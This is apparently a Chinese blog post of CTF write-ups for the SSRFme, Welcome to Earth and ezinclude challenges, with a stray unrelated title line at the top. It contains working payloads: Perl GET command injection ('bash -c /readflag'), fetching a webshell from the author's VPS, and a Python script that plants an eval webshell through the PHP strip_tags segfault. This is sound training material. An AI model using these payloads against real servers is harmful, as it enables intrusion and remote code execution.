中石化網(wǎng)站群建設(shè)/如何推廣一個(gè)新的app
[HITCON 2017]SSRFme
直接給了源代碼,題目名稱還是ssrf,那么該題大概率就是SSRF的漏洞,進(jìn)行代碼審計(jì)。
<?php// 檢查是否存在 HTTP_X_FORWARDED_FOR 頭,如果存在,則將其拆分為數(shù)組,并將第一個(gè) IP 地址賦值給 REMOTE_ADDR。if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];}// 輸出用戶的遠(yuǎn)程地址(IP 地址)。echo $_SERVER["REMOTE_ADDR"];// 創(chuàng)建一個(gè)以用戶 IP 地址(結(jié)合字符串 "orange")生成的 MD5 哈希值命名的沙盒目錄。$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);@mkdir($sandbox); // 創(chuàng)建沙盒目錄,如果目錄已存在,錯(cuò)誤將被抑制。@chdir($sandbox); // 切換到沙盒目錄中。// 使用 shell 命令 GET 獲取由 URL 參數(shù)指定的資源。$data = shell_exec("GET " . escapeshellarg($_GET["url"]));// 解析文件路徑信息,獲取文件名和目錄名等信息。$info = pathinfo($_GET["filename"]);// 去掉目錄名中的點(diǎn)號(hào),防止目錄穿越漏洞。$dir = str_replace(".", "", basename($info["dirname"]));@mkdir($dir); // 創(chuàng)建目錄,如果目錄已存在,錯(cuò)誤將被抑制。@chdir($dir); // 切換到新創(chuàng)建的目錄中。// 將獲取到的數(shù)據(jù)寫(xiě)入指定的文件中。@file_put_contents(basename($info["basename"]), $data);// 高亮顯示當(dāng)前腳本文件的代碼。highlight_file(__FILE__);
如果存在 HTTP_X_FORWARDED_FOR
頭,則使用其第一個(gè)值,否則使用 REMOTE_ADDR
。接著利用用戶 IP 生成的 MD5 值來(lái)創(chuàng)建目錄,確保每個(gè)用戶的操作在不同的目錄中進(jìn)行。執(zhí)行GET拼接shell命令,內(nèi)容可控。將可控內(nèi)容寫(xiě)入到可控文件中。
實(shí)現(xiàn)發(fā)送GET請(qǐng)求給當(dāng)前GET參數(shù)’url‘,并將其結(jié)果保存在/sandbox/md5/filename中,其中filename為傳入的Get參數(shù)。
構(gòu)造?url=./../../&filename=123
然后訪問(wèn),目錄是?sandbox/(orange+ip)的MD5值/123
可以看到目錄,但是不能夠直接訪問(wèn),嘗試再多寫(xiě)一個(gè)../
??url=./../../../&filename=123
再加,最后為?url=./../../../../../&filename=123
已經(jīng)可以看到根目錄下的flag了。還可以看到readflag文件。那么思路就是利用readflag文件讀取flag。
?嘗試redaflag
?url=/readflag&filename=123
但是訪問(wèn)后是下載了一個(gè)二進(jìn)制文件
并沒(méi)有執(zhí)行,那么就嘗試將根目錄下flag文件的內(nèi)容寫(xiě)入到我們創(chuàng)建的文件中
利用到bash -c?
bash
: 這是指 Bash Shell,一種常用的命令行解釋器。-c
: 選項(xiàng)-c
表示 Bash 將執(zhí)行接下來(lái)的字符串作為命令。
/?url=file:bash -c /readflag|&filename=bash -c /readflag
file:
協(xié)議:通常用于訪問(wèn)文件系統(tǒng)中的文件。
再次傳參/?url=file:bash -c /readflag&filename=123
然后訪問(wèn)
但是回顯是空的。
?但是還可以使用另一種解法。
在vps上綁定一句話木馬進(jìn)行監(jiān)聽(tīng),然后通過(guò)GET命令去請(qǐng)求,用$_GET[“filename”]傳入的值作為文件名保存。
python3 -m http.server
用python啟用一個(gè)http服務(wù)。
?構(gòu)造pyalod進(jìn)行請(qǐng)求
?url=172.17.xx.xx:8000/shell.php&filename=shell.php
然后再去訪問(wèn),這樣就把我們的馬子給寫(xiě)進(jìn)去了。
蟻劍直接連接
但是flag不可以直接打開(kāi),需要執(zhí)行readflag
總結(jié),該題可以使用兩種解法,一個(gè)是利用原來(lái)的readflag文件讀取flag,并將讀取的結(jié)果輸入到我們創(chuàng)建的文件中;
第二種就是利用vps,直接把vps的木馬掛到我們創(chuàng)建的文件中就可以getshell。
該題的考點(diǎn)是ssrf,GET命令的一個(gè)漏洞,GET命令是用perl來(lái)執(zhí)行,而prel的open可以執(zhí)行命令。
這里的GET不是我么平常的GET方法傳參,這里的GET是Lib for WWW in Perl中的命令 目的是模擬http的GET請(qǐng)求,GET函數(shù)底層就是調(diào)用了open處理。
這里GET一個(gè)根目錄,功能類似于ls把它給列出來(lái)。
[b01lers2020]Welcome to Earth
一個(gè)頁(yè)面,但是是名為/die/
查看源代碼
什么都沒(méi)有,把/die/刪掉看一看
?
可以看到源代碼,訪問(wèn)?/chase/
接著訪問(wèn)/leftt/?
接著訪問(wèn)/shoot/
接著訪問(wèn)/door/
接著訪問(wèn)/static/js/door.js
接著訪問(wèn)/open/
接著訪問(wèn)/static/js/open_sesame.js
最后訪問(wèn)/static/js/fight.js
得到源代碼
// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {for (var i = 0; i < key.length; i++) {let n = key.charCodeAt(i) % flag.length;let temp = flag[i];flag[i] = flag[n];flag[n] = temp;}return flag;
}function check_action() {var action = document.getElementById("action").value;var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];// TODO: unscramble function
}
?flag被打亂了,還原flag。
# 從 itertools 庫(kù)導(dǎo)入 permutations 函數(shù),該函數(shù)可以生成給定可迭代對(duì)象的所有排列
from itertools import permutations# 定義一個(gè)包含若干字符串元素的列表 flag
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]# 使用 permutations 函數(shù)生成 flag 列表中所有元素的排列
item = permutations(flag)# 遍歷所有排列的結(jié)果
for i in item:# 將當(dāng)前排列 (元組) 轉(zhuǎn)換為字符串k = ''.join(list(i))# 檢查字符串是否以 "pctf{hey_boys" 開(kāi)頭,并且以 "}" 結(jié)尾if k.startswith('pctf{hey_boys') and k[-1] == '}':# 如果條件滿足,則打印這個(gè)符合條件的字符串print(k)
嘗試后得到pctf{hey_boys_im_baaaaaaaaaack!}
該題只有排列組合的問(wèn)題,就算一個(gè)一個(gè)排列著試都可以得到正確結(jié)果。
[NPUCTF2020]ezinclude
顯示username和password是錯(cuò)誤的。嘗試查看源代碼。
有了提示,<!--md5($secret.$name)===$pass -->
在進(jìn)過(guò)嘗試后發(fā)現(xiàn)name和pass是通過(guò)get進(jìn)行傳參的。
?可以看到回顯有個(gè)hash值,猜測(cè)可能是md5后的值,傳參
/?name=1&pass=576322dd496b99d07b5b0f7fa7934a25
訪問(wèn)flflflflag.php
?
可以看到include($_GET["file"])
構(gòu)造?file=php://filter/read=convert.base64-encode/resource=flflflflag.php
查看源代碼
<html>
<head>
<script language="javascript" type="text/javascript">window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_?o�oo_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
w%ude($_GET["~)^"])
?再掃一下目錄,看看還有沒(méi)有其他可以用的代碼。
掃了半天什么都沒(méi)有掃到,但是看了wp后,存在一個(gè)dir.php文件
?file=php://filter/read=convert.base64-encode/resource=dir.php
<?php
var_dump(scandir('/tmp'));
?>
dir.php能打印臨時(shí)文件夾里的內(nèi)容.
那么我們就可以把碼寫(xiě)到臨時(shí)文件中。
利用php7 segment fault特性(CVE-2018-14884)
php代碼中使用php://filter的 strip_tags 過(guò)濾器, 可以讓 php 執(zhí)行的時(shí)候直接出現(xiàn) Segment Fault , 這樣 php 的垃圾回收機(jī)制就不會(huì)在繼續(xù)執(zhí)行 , 導(dǎo)致 POST 的文件會(huì)保存在系統(tǒng)的緩存目錄下不會(huì)被清除而不像phpinfo那樣上傳的文件很快就會(huì)被刪除,這樣的情況下我們只需要知道其文件名就可以包含我們的惡意代碼。
strip_tags 過(guò)濾器的使用。
使用php://filter/string.strip_tags導(dǎo)致php崩潰清空堆棧重啟,如果在同時(shí)上傳了一個(gè)文件,那么這個(gè)tmp file就會(huì)一直留在tmp目錄,知道文件名就可以getshell。這個(gè)崩潰原因是存在一處空指針引用。向PHP發(fā)送含有文件區(qū)塊的數(shù)據(jù)包時(shí),讓PHP異常崩潰退出,POST的臨時(shí)文件就會(huì)被保留,臨時(shí)文件會(huì)被保存在upload_tmp_dir所指定的目錄下,默認(rèn)為tmp文件夾。
構(gòu)造payloud
/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd
import requests # 導(dǎo)入requests庫(kù),用于處理HTTP請(qǐng)求
from io import BytesIO # 導(dǎo)入BytesIO,用于在內(nèi)存中操作字節(jié)數(shù)據(jù)# 定義需要執(zhí)行的PHP代碼
payload = "<?php eval($_POST[cmd]);?>" # 這是一個(gè)PHP代碼片段,可以通過(guò)POST數(shù)據(jù)執(zhí)行傳入的命令# 準(zhǔn)備要發(fā)送的數(shù)據(jù),模擬一個(gè)文件上傳
data = {'file': BytesIO(payload.encode())} # 將payload字符串轉(zhuǎn)換為字節(jié)并包裝在BytesIO對(duì)象中,模擬文件上傳# 定義目標(biāo)服務(wù)器的URL
url = "http://ec4fa282-4f36-4ae3-9a08-56112f3a5155.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
# 這個(gè)URL使用了PHP過(guò)濾器來(lái)訪問(wèn)目標(biāo)服務(wù)器上的'/etc/passwd'文件內(nèi)容# 發(fā)送POST請(qǐng)求,帶上準(zhǔn)備好的數(shù)據(jù)和文件上傳
r = requests.post(url=url, files=data, allow_redirects=False)
# 發(fā)送POST請(qǐng)求,包含'files'數(shù)據(jù),'allow_redirects=False'防止自動(dòng)重定向
運(yùn)行腳本后訪問(wèn)/dir.php
得到tmp目錄下剛剛我們上傳的文件路徑:/tmp/phpqUFJz7
利用文件包含
flag在里面。
總結(jié):php://filter的 strip_tags 過(guò)濾器在php7導(dǎo)致php崩潰清空堆棧重啟,如果在同時(shí)上傳了一個(gè)文件,那么這個(gè)tmp file就會(huì)一直留在tmp目錄,知道文件名就可以getshell。